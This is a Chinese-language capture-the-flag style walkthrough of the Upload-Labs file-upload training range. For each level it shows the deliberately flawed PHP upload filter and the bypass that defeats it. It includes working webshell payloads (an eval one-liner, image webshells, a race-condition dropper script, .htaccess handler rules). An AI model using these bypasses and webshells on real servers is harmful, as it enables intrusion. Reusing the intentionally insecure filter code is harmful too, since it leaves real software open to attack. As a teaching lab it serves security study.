# Upload-Labs 文件上传
# 本地 js 检查
使用图片马.png
允许的后缀上传 - 抓包 - 改后缀 - 上传成功
方法二 浏览器设置禁用 JS
# 服务端对数据包的 MIME 进行检查
使用图片马.png 上传 - 抓包 - 改后缀 - 上传成功
MIME (content-type) 类型还是图片,验证通过
# 黑名单基础过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (file_exists($UPLOAD_ADDR )) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR .'/' . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; }
禁止 asp/aspx/php/jsp 类型上传,而且全转换为小写。利用 apache 解析漏洞。
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
php2\php3\php4 都会解析为 php
抓包修改后缀.php3 上传成功
# 黑名单 (.htaccess 攻击)
Apache 漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '此文件不允许上传!' ; }
禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf 后缀文件
这回多了不少后缀,第三关方法不行了(这些后缀可以收藏)
没有禁止.htaccess 上传,我们可以写规则之后上传,上传的 shell.png 文件解析为 php,上传后连接
1 2 3 <FilesMatch "shell.png" > SetHandler application/x-httpd-php </FilesMatch>
ps:Nginx 类似操作是使用.user.ini, 思路与.htaccess 类似
参考:https://www.cnblogs.com/NineOne/p/14033391.html
# 大小写绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; }
在第四关的基础上增加了.htaccess 的过滤,但是没有全部转化为小写的规则了
大小写绕过
# 空格绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; }
对比没有了首位去空格,修改后缀 php 再加个空格 /.php (空格)/
# 点绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; }
对比增加了首尾去空,没有了删除文件名末尾的点
后缀加点 完成
# :: DATA 备用数据流漏洞
Windows 漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; }
修改后缀为 php 并在结尾添加::$DATA
访问 shell.php
# 空格点绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name ); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext ); $file_ext = trim($file_ext ); if (!in_array($file_ext , $deny_ext )) { if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; }
去除了末尾的点和前后的空格,但只处理了一次
改后缀为.php. .
# 双写后缀名绕过
1 2 3 4 5 6 7 8 9 10 if (isset ($_POST ['submit' ])) { if (file_exists($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace($deny_ext ,"" , $file_name ); if (move_uploaded_file($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $file_name )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; $is_upload = true ; }
提示看到会将这些后缀从文件名中去除,但是就执行了一遍
双写绕过.pphpph
# 00 截断 GET
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES ['upload_file' ]['name' ],strrpos($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand(10 ,99 ).date("YmdHis" )."." .$file_ext ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传失败!' ; } }
当 url 中的参数是通过 GET 方式获取时,%00 会被自动解码。而当参数是通过 POST 方式获取时,是不会自动解码的
所以参数 post 是使用 00 截断时用 0x00,GET 时用 %00
上传路径可控,
# 00 截断 POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES ['upload_file' ]['name' ],strrpos($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } }
和上一关差不多但是文件路径在 post 中所以得改 hex
php 后添加两个空格方便修改 hex
20 是空格的 hex, 将第一个 20 改为 00
然后上传成功,连接成功
# 文件头检查
制作图片马 copy 1.jpg/b + 1.php/a 2.jpg 注意要用 1.php 不要用 1.txt
不多细讲
# 图片马 getimagesize 绕过
getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
依旧使用图片马可以绕过
# 图片马 exif_imagetype 绕过
exif_imagetype 判断一个图像的类型
依旧图片马绕过
# 图片二次渲染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =$UPLOAD_ADDR .basename($filename ); $fileext = substr(strrchr($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file($tmpname ,$target_path )) { $im = imagecreatefromjpeg($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; }else { srand(time()); $newfilename = strval(rand()).".jpg" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagejpeg($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file($tmpname ,$target_path )) { $im = imagecreatefrompng($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; }else { srand(time()); $newfilename = strval(rand()).".png" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagepng($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file($tmpname ,$target_path )) { $im = imagecreatefromgif($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; }else { srand(time()); $newfilename = strval(rand()).".gif" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagegif($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; }php }
图片二次渲染会将上传的文件的图片部分抠出然后在服务器生成一个新图片,有点复杂
看了看网上的思路:上传纯 gif 成功 - 下载服务区端生成的新 gif 对比 16 进制,将一句话插入到没有改变的地方,gif 上传简单,png 和 jpg 的复杂一点,
这是上传的纯 gif 的 16 进制:
这是服务器二次渲染之后的 gif 的 16 进制:
可以看到从差不多第二行开始到倒数第二行没有变化 ,所以我将一句话插到图片中下面一堆点的前面:
直接上传然后文件包含 http://127.0.0.1/include.php?file=upload/9015.gif 可以 post 一个 phpinfo (); 查看以下效果
蚁剑也可成功连接
/ 方法二 php 脚本制作符合要求的 png 文件上传,再文件包含
pass16 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0xe , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x1 , 0xdc , 0x5a , 0x1 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 );$img = imagecreatetruecolor(32 , 32 );for ($y = 0 ; $y < sizeof($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate($img , $r , $g , $b ); imagesetpixel($img , round($y / 3 ), 0 , $color ); } imagepng($img ,'./pass16.png' ); ?>
php 脚本执行可生成一个符合规则的插入一句话木马的 pass16.png 文件
1 php pass16.php 一个纯净的png文件
# pass17 条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr($file_name ,strrpos($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file($temp_file , $upload_file )){ if (in_array($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand(10 , 99 ).date("YmdHis" )."." .$file_ext ; rename($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink($upload_file ); } }else { $msg = '上传出错!' ; } }
经典的条件竞争 先移动,不符合规则就改名字
我们多线程让他处于移动状态,然后一直访问,总会有一次访问到,一旦访问到就会在服务器端写一个入 shell
上传的 php 写马脚本:
1 <?PHP echo md5(1 );fputs(fopen('shell.php' ,'w' ),'<?php @eval($_POST[pass])?>' );?>
上传时用 burp 抓包发送到 intruder 中,设置 paload 为 Null payloads ,设置不断发包,
写一个 python 脚本不断访问上传的 php, 在访问到时返回 OK:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsdef main (): i=0 while 1 : try : print (i,end = '\r' ) a = requests.get("http://127.0.0.1/upload/pass17.php" ) if "c4ca4238a0b923820dcc509a6f75849b" in a.text: print ("OK" ) break except Exception as e: pass i+=1 if __name__ == '__main__' : main()
同时启动 burp 发包和 python 脚本看到脚本返回 ok 时浏览器访问 upload/shell.php 蚁剑连接
# 条件竞争 2(检测后缀名)
还和第一个条件竞争一样,一开始就检测后缀所以得用 pass18.php.jpg 图片马抓包 burp 无限发包,
写脚本一直文件包含访问或者浏览器一直 F5,访问到 http://localhost/include.php?file=upload/pass18.php.jpg
,蚁剑连接 ok
# move_uploaded_file () 绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo($file_name ,PATHINFO_EXTENSION); if (!in_array($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
后缀名限制的死死的,但看到 move_uploaded_file (),查了查,这个函数会忽略掉文件末尾的 /.
文件名可控,我们将上传的一句话的保存名称改为 upload-19.php/. 直接上传成功可以访问,而且是任意 php 文件都可以,不用上传图片马,我们直接上传 php 马
蚁剑连接 ok
# 数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $is_upload = false ;$msg = null ;if (!empty ($_FILES ['upload_file' ])){ $allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array($_FILES ['upload_file' ]['type' ],$allow_type )){ $msg = "禁止上传该类型文件!" ; }else { $file = empty ($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ]; if (!is_array($file )) { $file = explode('.' , strtolower($file )); } $ext = end($file ); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset($file ) . '.' . $file [count($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
检查 MIME 类型和文件名,然后看 wp 发现f i l e n a m e = r e s e t ( file_name = reset( f i l e n a m e = r e s e t ( file) . ‘.’ . f i l e [ c o u n t ( file[count( f i l e [ c o u n t ( file) - 1];
最终的文件名是由数组的第一个和最后一个元素拼接而成。是由数组的第一个和最后一个元素拼接而成。
1 2 3 if (!is_array($file )) { $file = explode('.' , strtolower($file )); }
这个判断:不是数组,就自己拆成数组,也就是说,用户可以传入数组的。
我们上传一个 jpg 图片马抓包,然后改包如下图,传入两个参数 save_name [0] 和 save_name [2]
然后发包提示上传成功
你可以看到你网站的 upload 目录下上传成功了 20.php, 蚁剑连接 ok
# 方法二
00 截断上传的图片马然后文件包含连蚁剑 / 不细说了
可算是刷完了学到不少